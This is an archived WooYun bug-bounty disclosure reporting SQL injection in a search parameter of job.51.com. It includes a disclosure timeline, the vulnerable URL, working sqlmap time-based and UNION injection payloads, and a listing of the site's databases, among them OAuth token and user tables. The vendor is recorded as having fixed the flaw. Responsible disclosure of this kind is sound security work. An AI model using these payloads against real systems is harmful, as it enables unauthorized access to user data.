乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-10-09: 细节已通知厂商并且等待厂商处理中 2015-10-09: 厂商已经确认,细节仅向厂商公开 2015-10-19: 细节向核心白帽子及相关领域专家公开 2015-10-29: 细节向普通白帽子公开 2015-11-08: 细节向实习白帽子公开 2015-11-23: 细节向公众公开
http://job.51.com
http://job.51.com/sz/search?key=e&new=1
key参数存在注入
sqlmap resumed the following injection point(s) from stored session:---Parameter: key (GET) Type: stacked queries Title: MySQL > 5.0.11 stacked queries (SELECT - comment) Payload: key=e';(SELECT * FROM (SELECT(SLEEP(5)))uIGd)#&new=1 Type: UNION query Title: Generic UNION query (NULL) - 13 columns Payload: key=e' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a7a71,0x4c42424f5a7754534468,0x7170717171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &new=1---web application technology: Apache 1.3.37.saback-end DBMS: MySQL 5.0.11available databases [60]:[*] db_act_dbqb[*] db_campus[*] db_chat[*] db_etonelog[*] db_fav[*] db_home[*] db_notice[*] db_signin[*] information_schema[*] mysql[*] oauth[*] oauth_consumer_0[*] oauth_consumer_1[*] oauth_consumer_2[*] oauth_consumer_3[*] oauth_consumer_4[*] oauth_consumer_5[*] oauth_consumer_6[*] oauth_consumer_7[*] oauth_consumer_8[*] oauth_consumer_9[*] oauth_consumer_a[*] oauth_consumer_b[*] oauth_consumer_c[*] oauth_consumer_d[*] oauth_consumer_e[*] oauth_consumer_f[*] oauth_token_0[*] oauth_token_1[*] oauth_token_2[*] oauth_token_3[*] oauth_token_4[*] oauth_token_5[*] oauth_token_6[*] oauth_token_7[*] oauth_token_8[*] oauth_token_9[*] oauth_token_a[*] oauth_token_b[*] oauth_token_c[*] oauth_token_d[*] oauth_token_e[*] oauth_token_f[*] oauth_user_0[*] oauth_user_1[*] oauth_user_2[*] oauth_user_3[*] oauth_user_4[*] oauth_user_5[*] oauth_user_6[*] oauth_user_7[*] oauth_user_8[*] oauth_user_9[*] oauth_user_a[*] oauth_user_b[*] oauth_user_c[*] oauth_user_d[*] oauth_user_e[*] oauth_user_f[*] test
危害等级:高
漏洞Rank:10
确认时间:2015-10-09 16:00
确认存在
2015-10-09:已修复
2015-10-09:已经处理完毕